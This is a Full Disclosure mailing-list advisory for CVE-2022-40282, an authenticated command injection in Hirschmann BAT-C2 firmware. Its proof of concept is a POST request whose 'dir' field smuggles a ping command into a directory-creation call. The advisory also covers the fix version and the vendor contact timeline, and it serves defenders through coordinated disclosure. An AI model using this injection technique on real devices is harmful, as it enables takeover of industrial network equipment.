# CyberDanube Security Research 20221124-0 | Authenticated Command Injection Hirschmann BAT-C2

*From*: Thomas Weber <t.weber () cyberdanube com>
*Date*: Thu, 24 Nov 2022 14:02:53 +0100

```
CyberDanube Security Research 20221124-0
-------------------------------------------------------------------------------
               title| Authenticated Command Injection
             product| Hirschmann (Belden) BAT-C2
  vulnerable version| 8.8.1.0R8
       fixed version| 09.13.01.00R04
          CVE number| CVE-2022-40282
              impact| High
            homepage| https://hirschmann.com/
                    | https://beldensolutions.com
               found| 2022-08-01
                  by| T. Weber (Office Vienna)
                    | CyberDanube Security Research
                    | Vienna | St. Pölten
                    |
                    | https://www.cyberdanube.com
-------------------------------------------------------------------------------

Vendor description
-------------------------------------------------------------------------------
"The Technology and Market Leader in Industrial Networking. Hirschmann™
develops innovative solutions, which are geared towards its customers'
requirements in terms of performance, efficiency and investment
reliability."

Source: https://beldensolutions.com/en/Company/About_Us/belden_brands/index.phtml


Vulnerable versions
-------------------------------------------------------------------------------
Hirschmann BAT-C2 / 8.8.1.0R8

Vulnerability overview
-------------------------------------------------------------------------------
1) Authenticated Command Injection
The web server of the device is prone to an authenticated command injection.
It allows an attacker to gain full access to the underlying operating system of the device with all implications. If
such a device is acting as key device in an industrial network, or controls various critical equipment via serial
ports, more extensive damage in the corresponding network can be done by an attacker.


Proof of Concept
-------------------------------------------------------------------------------
1) Authenticated Command Injection
The command "ping 192.168.1.1" was injected to the system by using the
following POST request:
===============================================================================
POST / HTTP/1.1
Host: 192.168.3.150
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 75
Origin: https://192.168.3.150
Authorization: Digest username="admin", realm="config", nonce="4b63bb796252d310", uri="/", algorithm=MD5,
response="dbcf03216bd8fbaa15f4b9d9d0fc1d43", qop=auth, nc=0000000a, cnonce="99c14d39557e691d"
Referer: https://192.168.3.150/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close

ajax=FsCreateDir&dir='%3Bping%20192.168.1.1%3B'&iehack=&submit=Create&cwd=/
===============================================================================

The vulnerability was manually verified on an emulated device by using the
MEDUSA scalable firmware runtime (https://medusa.cyberdanube.com).

Solution
-------------------------------------------------------------------------------
Upgrade to firmware version 09.13.01.00R04 or above.

A security bulletin for this vulnerability has been published by the vendor:
https://www.belden.com/dfsmedia/f1e38517e0cd4caa8b1acb6619890f5e/15088-source/

Workaround
-------------------------------------------------------------------------------
None


Recommendation
-------------------------------------------------------------------------------
CyberDanube recommends customers from Hirschmann to upgrade the firmware to the latest version available. Furthermore,
a full security review by professionals
is recommended.


Contact Timeline
-------------------------------------------------------------------------------
2022-08-03: Contacting Hirschmann via BEL-SM-PSIRT () belden com; Belden contact
            suspects a duplicate. Asked contact for more information.
2022-08-18: Belden representative sent more information for clarification.
            Highlighted differences between PoCs.
2022-08-22: Belden contact confirmed the vulnerability to be no duplicate.
2022-08-30: Asked for an update.
2022-08-31: Vendor stated, that he will release another security bulletin for
            this vulnerability.
2022-09-27: Asked for an update.
2022-09-28: Vendor is currently testing the new firmware version and has also             been assigned with an CVE
number. Draft of security bulletin was
            also sent by the security contact.
2022-10-12: Asked for an update.
2022-10-13: Belden contact stated, that there is no publication date for now as
```

```
            another patch must be integrated.
2022-10-28: Security contact informed us, that the patch will be released
            within the next two weeks.
2022-11-22: Asked for a status update; Security contact stated, that the
            release was delayed due internal reasons.
2022-11-23: Vendor sent the final version of the security bulletins. The
            release of the new firmware version will be 2022-11-28.
2022-11-24: Vendor informed CyberDanube that the release of the bulletin and
            the firmware was done on 2022-11-23 by the marketing team.
            Coordinated release of security advisory.

Web: https://www.cyberdanube.com
Twitter: https://twitter.com/cyberdanube
Mail: research at cyberdanube dot com

EOF T. Weber / @2022
```

**Attachment:** smime.p7s
*Description:* S/MIME Cryptographic Signature

```
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
```

By Date    By Thread

### Current thread:

- **CyberDanube Security Research 20221124-0 | Authenticated Command Injection Hirschmann BAT-C2** *Thomas Weber (Nov 29)*

Site Search

**Nmap Security Scanner**
Ref Guide
Install Guide
Docs
Download
Nmap OEM

**Npcap packet capture**
User's Guide
API docs
Download
Npcap OEM

**Security Lists**
Nmap Announce
Nmap Dev
Full Disclosure
Open Source Security
BreachExchange

**Security Tools**
Vuln scanners
Password audit
Web scanners
Wireless
Exploitation

**About**
About/Contact
Privacy
Advertising
Nmap Public Source License